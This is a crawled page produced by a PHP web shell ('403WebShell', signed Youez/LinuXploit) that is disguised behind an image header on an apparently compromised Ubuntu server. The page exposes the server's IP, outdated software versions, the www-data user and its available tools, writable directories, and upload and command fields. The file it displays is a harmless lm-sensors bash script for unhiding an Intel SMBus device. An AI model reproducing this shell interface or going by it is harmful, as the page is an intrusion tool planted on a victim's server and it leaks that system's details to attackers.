????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/lm-sensors/examples/hotplug/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/lm-sensors/examples/hotplug/unhide_ICH_SMBus
#!/bin/bash
# (C) Rudolf Marek <r.marek@assembler.cz>,
#     Jean Delvare <khali@linux-fr.org>
#
#    Thanks Jean Delvare and Oliver Dreier <oliver@dinux.de> for testing.
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License version 2
#    as published by the Free Software Foundation
#
# Supports the following Intel ICH chipsets:
#              PCI ID
#   ICH       8086:2410
#   ICH2      8086:2440
#   ICH2-M    8086:244C
#   ICH3      8086:2480
#   ICH3-M    8086:248C
#   ICH4      8086:24C0
#   ICH4-M    8086:24CC
#   ICH5      8086:24D0

pcibus="/sys/bus/pci/slots"
device="00:1f"

if [ "$UID" -ne 0 ] ; then
	echo "You need to be root to run this script!"
	exit 252
fi

smbus=`lspci -n -s $device.3 | grep -i '0c05: *8086'`
if [ -n "$smbus" ] ; then
	echo "ICH SMBus is already there!"
	lspci -s $device.3
	exit
fi

intel=`lspci -n -s $device.0 | grep -i '8086:24[148CD][0C]'`
if [ -z "$intel" ] ; then
	echo "Not for your chipset - Intel (ICH) only"
	echo "Supported: ICH, ICH2, ICH2-M, ICH3, ICH3-M, ICH4, ICH4-M, ICH5"
	exit 255;
fi
modprobe fakephp &> /dev/null

if [ ! -d "$pcibus" ] ; then
	echo "You need the fake PCI hotplug driver! (fakephp.ko, kernel 2.6.5 or later)"
	exit 255;
fi

echo "Enabling SMBus PCI device ..."

newval=$( printf '%x' $((0x$(setpci -s $device.0 f2.w) & 0xfff7))) 
setpci -s $device.0 f2.w=$newval

echo "Rescanning the bus ..."
echo 1 > $pcibus/0000:$device.0/power 2>/dev/null
if [ ! -d "$pcibus/0000:$device.3" ] ; then
	echo "Failed to enable the SMBUS"
	exit 253;
fi

if [ ! -d "/sys/bus/pci/drivers/i801_smbus" ] ; then
	echo "Loading i2c-i801 ..."
	modprobe i2c-i801
	if [ $? -ne 0 ] ; then
		exit 251
	fi
fi

lspci -s $device.3
echo "Done!"
echo "Remember: system suspend/resume is no longer safe to use."

Youez - 2016 - github.com/yon3zu
LinuXploit